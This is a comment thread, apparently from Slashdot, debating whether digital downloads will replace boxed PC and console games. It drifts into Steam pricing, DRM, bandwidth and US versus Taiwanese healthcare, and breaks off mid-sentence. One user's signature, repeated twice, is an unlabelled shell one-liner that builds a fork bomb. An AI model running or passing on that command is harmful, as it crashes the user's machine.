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How Much Longer Will Physical Game Distribution Survive?
GamesIndustry is running an interview with Theodore Bergquist, CEO of GamersGate, in which he forecasts the death of physical game distribution in favor of digital methods, perhaps in only a few years. He says, "Look at the music industry, look at 2006 when iTunes went from not being in the top six of sellers — in the same year in December it was top three, and the following year number one. I think digital distribution is absolutely the biggest threat [traditional retailers] can ever have." Rock, Paper, Shotgun spoke with Capcom's Christian Svensson, who insists that developing digital distribution is one of their top priorities, saying Capcom will already "probably do as much digital selling as retail in the current climate." How many of the games you acquire come on physical media these days? At what point will the ease of immediate downloads outweigh a manual and a box to stick on your shelf (if it doesn't already)?
Check out the sales of Eve online on march 10th. They are putting it out in a box set for the first time (well practically the first time). Before now it's been download only. If the number of people playing shoot up, that's a good indicator. Likewise if the box set falls flat.
In general, if I've paid for something, I want a tangible object.
I've this constant concern that *something* will go wrong in the digital process. I know it probably wont, and generally hasn't, but I'd still much rather be able to say "look - I _do_ own this, I've got the box and everything". That said, I don't have any paper records for, say, my banking. Priorities and all that.
You can see this already with PC gaming. Digital distributors like Steam have pretty much demolished the brick and mortar stores. My local GameStop barely has a PC game section anymore and it's not because the PC market is shrinking. In fact, it's growing.
Brick and mortar stores are dying and they know it -- for PC games anyway. It's like they are not even trying anymore. I am an independent video game developer, and I tried my best to let GameStop et al sell my company's game, but they do not even return calls. We have not even gotten an email back yet.
Meanwhile, our upcoming title is going to be sold in virtually every single online store -- some of them responded within a day of being contacted. Here's our list so far.
Brick and mortar stores are still clinging on for consoles releases. Retail stores pretty much are the only place to go when you want to buy the latest AAA titles (except Amazon, which is like digital distribution with very high latency).
I mean, seriously, who doesn't like those shiny boxes with the manual, maps and stuff like that? And having the original packaging even many years later? We're talking about some serious bragging rights here.
At what point will the ease of immediate downloads outweigh a manual and a box to stick on your shelf (if it doesn't already)?
At the point where I can download a DRM-less installer or ISO and do whatever the hell I want with it.
Anything short of that, and I'll keep buying physical media.
I would imagine not. These are the sort of small-batch, high markup items that it might be worthwhile to continue producing. I'm guessing at the volume that these things are produced, there's not as much overhead, and less guess work about how much to push into the retail channel. What you won't see is manufacturers trying to guess if they need to press 10000 disks or 15000. "Limited-edition, hand numbered, pre-order only" are like free money for the developer, whereas physical media, boxes, freight, and retailers getting their cut is just a drag on profits.
Simply stated, if companies stop selling their games on physical media, then I shall stop buying their games.
I've been fucked over by DRM-laden downloads on the 360, thanks very much. Every time mine goes back for repair, none of my paid-for-DLC works on the new box I get back, and I have to get into an hour-long argument with tele-bozos to sort it out. I have no interest in extending that process to every game I own.
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> At what point will the ease of immediate downloads outweigh a manual and a box to stick on your shelf (if it doesn't already)?
Well, since you ask.
1. When they are immediate. Some games are (and NEED to be) very large, this is hardly immidiate. If it's over an hour to wait I could easily go out and purchase the game quicker.
2. When they are not restrictive. I have very old games that I still lvoe to play. This means I need to be able in install my game on any machine I like when I like. This generally equated to DRM free. And DRM free includea activation of any kind. I want to play it when I want to, I may be without phone/internet etc. I want to install and go. Machines change, but drm may stop me from playing it in a "emulator" (computers may change so much that I need to emulate my old hardware to play the game, however I still want to be able to do it) or on some classic machnie I have cobbled together out of old bits people have given me (which is way better than the machine I played on back in the day as the expensive stuff then is still junk now!)
These may sound liek a lot of requests but they are not. 1 is outside of the game producers infulence (as it should be) but 2 certainly aint hard to do.
+----------------- | What is the question!
making copies of games and putting it on torrents should be perfectly legal. Payment on activation anyone?
Need an ISP in South Africa?
The problem is that while network bandwidth does not follow an exponential increase in bitrate over time, disc format capacity does. So this would suggest that the gap between online delivery and physical media is going to get larger, not smaller.
Now that's not true. I've only been online about 10 years and i can actually notice the exponential increase, something like this:
1999 56k
2003 256kbit
2004 512kbit
2005 1MBit
2006 2MBit
2007 4Mbit
2008 10MBit
At least, that's been my experience in the UK. Here's another diagram going from 1982(log scale, so it's exponential)
"Digital distribution" and "on-line stores" are not synonymous.
I buy most of my games and movies from on-line stores, but I still get physical media for my cash. This is also true for AAA titles - my copy of MutantExploder7 will land on my doormat on the day of release.
It is the prevalence of low-overhead (and sales tax avoiding) on-line retailers that has been killing bricks-and-mortar establishments for the last 10 years.
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With a lot of ISP's instating monthly bandwidth caps physical distribution could make a comeback
I love Steam too, but won't even consider getting most of my games from there because of the price.
In the UK, Dawn of War 2 was available on Steam on release day for £35, before VAT, which bumps it up to something around the £40 mark. In my local GAME and HMV it was selling for £29.99 including VAT. Rewards cards reduce the price on that too - I regularly get money off things at GAME. Ordered from play.com, the game cost £23 including VAT, and came through my door on release day.
I can understand retail stores need to add on something for stock distribution, staff, floor space, whatever - even play.com will be adding on something for warehouse space, shipping and others.
Can Steam really justify being so much more expensive than those? On top of this, the price of games on Steam doesn't fall anywhere near as quickly as it does in shops. Until it's at least the same price as shops, I'll still be buying physical copies.
If BluRay becomes cheap enough, then of course games from all platforms will be distributed that way. Who even on 3Mbit broadband wants to download 20GB games? Not me, that's for sure. It's all a question of media and the size of the game vs the size of people's broadband pipes.
And likewise it will be with the next media format, and the next, and the next. You can't compare MP3s and games because songs have a fixed size. Games do not.
This game will waste your life. Don't clicky!
... I get all of them in physical media. (http://steamunpowered.eu/ for the details)
OK, I've bought a few from GOG, but they still do it right.
I think it's freaking ridiculous that I can go to an on-line shop and get a game delivered to my door, for half the price I can get it from Steam.
Digital media. It's much cheaper, but we get to keep the profits, pass none of the savings to the customer, and you pay more for the "convenience".
I bought Dawn of War II from the supermarket ; because it was a lot cheaper than getting it on Steam - even if it is natively a Steam game.
Why, in this day and age, are physical boxed copies retailing for less than the digital variant? In this particular case, there is literally no difference between the end results - both methods have the game, installed in my Steam folder, registered to my Steam account. Neither has any resale value. I even had to wait to download an update.
I would rather have downloaded it all, it would have used less materials, and perhaps given more money to the developer (in theory). But for less money, I got more value - I got a disk with a "preload" on it. So physical distribution isn't going away until the download costs less than a retail boxed copy, or until they stop offering boxed copies altogether, and the latter is probably the route that they will want to take - no competition, no discounting.
Now do a list of game sizes. It will probably go something like this (install size):
1995 20MB
1999 400MB
2004 4000MB
2008 10000MB
Because in europe/uk you guys have vat and all kinds of bullshit taxes that get added on. And that my friend jacks the price up ridiculously.
Why is common sense called that if it's not common?
Boxed media is dead !! Pirate Bay confirms it !!
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We don't have "MP3 for games" yet. They're already pretty compressed.
Actually we have. It's called "procedural generated".
It might be not as extreme as in "Spore", but that's the current tendency among game developing studios.
Bandwidth have dramatically exploded recent years.
Storage size has also seen good increases.
But there's only so much content that a reasonably size team of artists can spit out within a reasonable amount of time and within a decent budget.
It took quite some time for games to start filling CD-ROMs.
And that was back a time of ever increasing screen resolution and color-depths, of cinematics, etc.
Now this tendency has curbed. Lots of player consider current graphics "realistic enough". We aren't much avidly awaiting a 100x increase of polycount or texture size for the next few years (some consoles like the Wii don't even bother bumping up the generation of their graphics hardware).
FMV cinematics slowly got replaced with in-game animations done with the engine it self (see almost 99% of recently released games - things like Command and Conquer series are rather the exception).
More studios resort to automatic/programmatic content generation for their assets to stay withing man-hours and budget limits (see for example the recent presentation of engines like Id's Rage which can handle lots of terrain details as the artist only paints heights and soil types. Or most recent FPS which use a dynamically generated sky box / time of day effects instead of relying on lots of artists designing lots of different settings).
Size requirement for games aren't increasing as much as the rest.
BlueRay disc are great for lots of usage (they will be useful to pack a whole TV-series' season on a single disc, they will be invaluable in fields that have to manipulate and backup huge amount of data, they will be great to store an exhaustive Linux distribution on a single media like Debian).
But the time until we start seeing multi-BD games will be long, even longer than the time before multi-CD games appeared, or even multi-DVD for that matters (there even aren't that much yet)
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Does it cost 20%-30% more when a EU resident downloads an Adobe product form their store than if a US resident does the same? I don't think so.
I don't think so either: Photoshop CS4 costs $699.00 in the US for direct download from Adobe, or EUR 887.12, the equivalent of $1115.00. That's considerably more than 30%. The VAT accounts for about EUR 110 of the difference, tho'.
ZDNet (God, I hate referring to ZDNet) did an article on the pricing imbalance last year. A 50% premium for products in Europe seems t'be standard for them.
Most other companies charge more for downloadable software in Europe than in the US, although the VAT generally accounts for most of the difference.
Now do a list of game sizes. It will probably go something like this (install size):
1995 20MB
1999 400MB
2004 4000MB
2008 10000MB
Try more like:
1993 The 7th guest: 1300MB
1995 Wing Commander IV: 3900MB
2000 Baldur's Gate 2: 2800MB
2006 Neverwinter Nights 2: 5500MB
2008 GTA IV: 16000MB
I assume you mean size of installer discs, since we're talking distribution? I'll gladly admit it's gone up over the years, but if you take the biggest mofo space wasters like you do if you claim games today are 10-20GB then you're way off. Sure, many games were only a few hundred MB but very many games today still do just fine on a gigabyte or two. Apples to apples games have not grown that much.
Live today, because you never know what tomorrow brings
While I like the convenience of Steam, let's not forget that if Steam goes belly up, games bought there will become unplayable. Yes, there is offline mode, but you can't switch to offline mode unless you're online and the Steam servers are reachable.
Whereas most of the games we have bought in physical form will still be playable even after the company who made them goes bankrupt, as long as the physical media haven't decayed enough to become unplayable. And there are precautions against that too, like VirtualCD.
There are also other possible pitfalls with Steam, like being banned. Let your 11 year old nephew play with your account for a few days, and he might get the account banned, and you lose access to all of your Steam games.
Actually if you want a model for the US, Taiwan isn't too bad. They have national healthcare but it is far cheaper than the Euro model. In fact you pay far less taxes in Taiwan than you'd pay in the US, and you still won't lose your home if your kid gets sick.
http://michaelturton.blogspot.com/2008/02/ian-williams-on-taiwans-health-care.html
The most amazing thing about Taiwan's health program is its affordability. Not only is it dirt cheap to see a doctor or dentist (~3USD), but taxes are also far lower than in the US. Back when I was working in the US, I only got to take home about 60% of my paycheck (after my employer paid half the SS). The medical insurance was terrible, too. Just seeing a dentist for a regular cleaning and checkup cost about 200USD after insurance.
Here, in Taiwan, the most I've had to pay in taxes is about 10%. That includes health insurance. It makes me wonder how the heck the US spends all the taxes it brings in
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's not far off, but sort of requires a bit more of a shift in mindset on the part of the publishers.
I'll give up my physical box games when they pry them from my cold, ergonomically-incorrect-mouse-induced-carpel-tunneled hands. Part of my enjoyment comes from actually going out to a store and picking up the merchandise and checking out the pictures on the back and reading the game preview. Then after purchasing it I have it in the plastic bag (which I keep for secondary uses such as lunchs and pet debris collection) and glance at it from the corner of my eye as it sits on the passenger seat. The excitement grows until I finally get it home and installed. Hell, it's almost like actually having a date!
Now we see the violence inherent in the system.
I am guessing that you live in the US. In the UK buying games from Steam cost anywhere up to 50% more than from an online retailer who is selling the physical game.
The latest example of this was Dawn of War II, Steam price - £34.99, Play.com price £22.99, High street price - £29.99.
Valve have a really useful platform with Steam but buying games through it makes no sense in the UK. Especially as if you buy Dawn of War II retail you get all of the benefits of steam anyway as it requires validation through steam regardless of where you bought it.
If Valve want Steam to be a valid distribution platform for new games (and not just special offers on back catalogue) then they need to renegotiate the prices they are able to offer to make them competitive versus high street and normal online retailers.
I buy 100% retail boxed, tangible products. I want to be able to exercise the First-Sale Doctrine to re-sell my games after I complete them so that I can raise more money to buy more games. I also want the market to control the pricing of a product. Historically, after a few weeks on the market, retail-boxed items can be found for half the price of their digital counter-parts. Why? The game sucks. It may be fun at a $30 or $40 price point, but is a regret at a $60 price point. The market realizes this, and boxed games can be found for $40 whereas the digital copies are still at $59.99 (ooh, but free shipping and no tax!)
Digital copies are just a way to destroy the used-game market, undercut pawn shops (e.g. GameStop), lock out libraries, and permanently tie a person to a product so that they can never get rid of it.
You cannot give a download as a (Christmas) present.
The trouble is that the chance of actually finding what you want in a shop is very small. It's all filled up with mainstream crap.
The amount of money in the US that will go to Social Security and Medicare this year completely dwarfs the money spent on Iraq over the past six+ years.
The question is, why are they measuring bandwidth levels in Internet Explorer versions? :-)
== Jez ==
Do you miss Firefox? Try Pale Moon.
It's not as simple as that. Medicare in the US is already too expensive, far more per decade than all the discretionary wars, bailouts and other questionable spending. And the coverage is very poor
The Taiwanese system uses smartcards to keep track of expenses and clamp down on fraud. It seems that the US needs to tackle inefficiencies inside the Medicare system before it scales it up to a national health care system like Taiwan. Still if you ignore the siren voices telling you to pour money into a corrupt system and reform it, you could end up spending USD20 per month and getting healthcare that is probably on a par with North Europe, where it costs many hundreds of dollars.
e.g.
http://deadlinepundit.blogspot.com/2008/02/taiwans-healthcare-lessons-in.html
On the face of it, the experience of the insured in Taiwan is certainly better than that of Americans dependent on the caprices of commercial health insurers. In 2005, polls showed a 72.5 percent satisfaction rateâ"and much of the dissatisfaction is with the cost, laughably small though it is by U.S. standards. When co-payments and premiums were increased in 2002, the satisfaction rate plummeted to 59.7 percent. To put this in perspective, the premiums at the maximum are less than $20 (U.S.) per month (the annual per capita GDP is $16,500 U.S.).
Actually even if you don't decide to scale it up, you still need to do something about the inefficiencies, or this will happen
http://en.wikipedia.org/wiki/File:Medicare_and_Medicaid_GDP_Chart.svg
The US spends around 5% of GDP total on defense. Actually Medicate is already in trouble
http://en.wikipedia.org/wiki/Medicare_(United_States)
The costs of Medicare doubled every four years between 1966 and 1980. According to the 2004 "Green Book" of the House Ways and Means Committee, Medicare expenditures from the American government were $256.8 billion in fiscal year 2002. Beneficiary premiums are highly subsidized, and net outlays for the program, accounting for the premiums paid by subscribers, were $230.9 billion.
Medicare spending is growing steadily in both absolute terms and as a percentage of the federal budget. Total Medicare spending reached $440 billion for fiscal year 2007, or 16% of all federal spending. The only larger categories of federal spending are Social Security and defense. Given the current pattern of spending growth, maintaining Medicare's financing over the long-term may well require significant changes.
According to the 2008 report by the board of trustees for Medicare and Social Security, Medicare will spend more than it brings in from taxes this year (2008). The Medicare hospital insurance trust fund will become insolvent by 2019. Shortly after the release of the report, the Chief Actuary testified that the insolvency of the system could be pushed back by 18 months if Medicare Advantage plans that provide more health care services than traditional Medicare and pass savings onto beneficiaries were paid at the same rate as the traditional fee-for-service program. He also testified that the 10-year cost of Medicare drug benefit is 37% lower than originally projected in 2003, and 17% percent lower than last year's projections. The New York Times wrote in January 2009 that Social Security and Medicare "have proved almost sacrosanct in political terms, even as they threaten to grow so large as to be unsustainable in the long run."
Spending on Medicare and Medicaid is projected to grow dramatically in coming decades. While the same demographic trends that affect Social Security also affect Medicare, rapidly rising medical prices appear a more important cause of projected spending increases. The Congressional Budget Office (CBO) has indicated tha
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;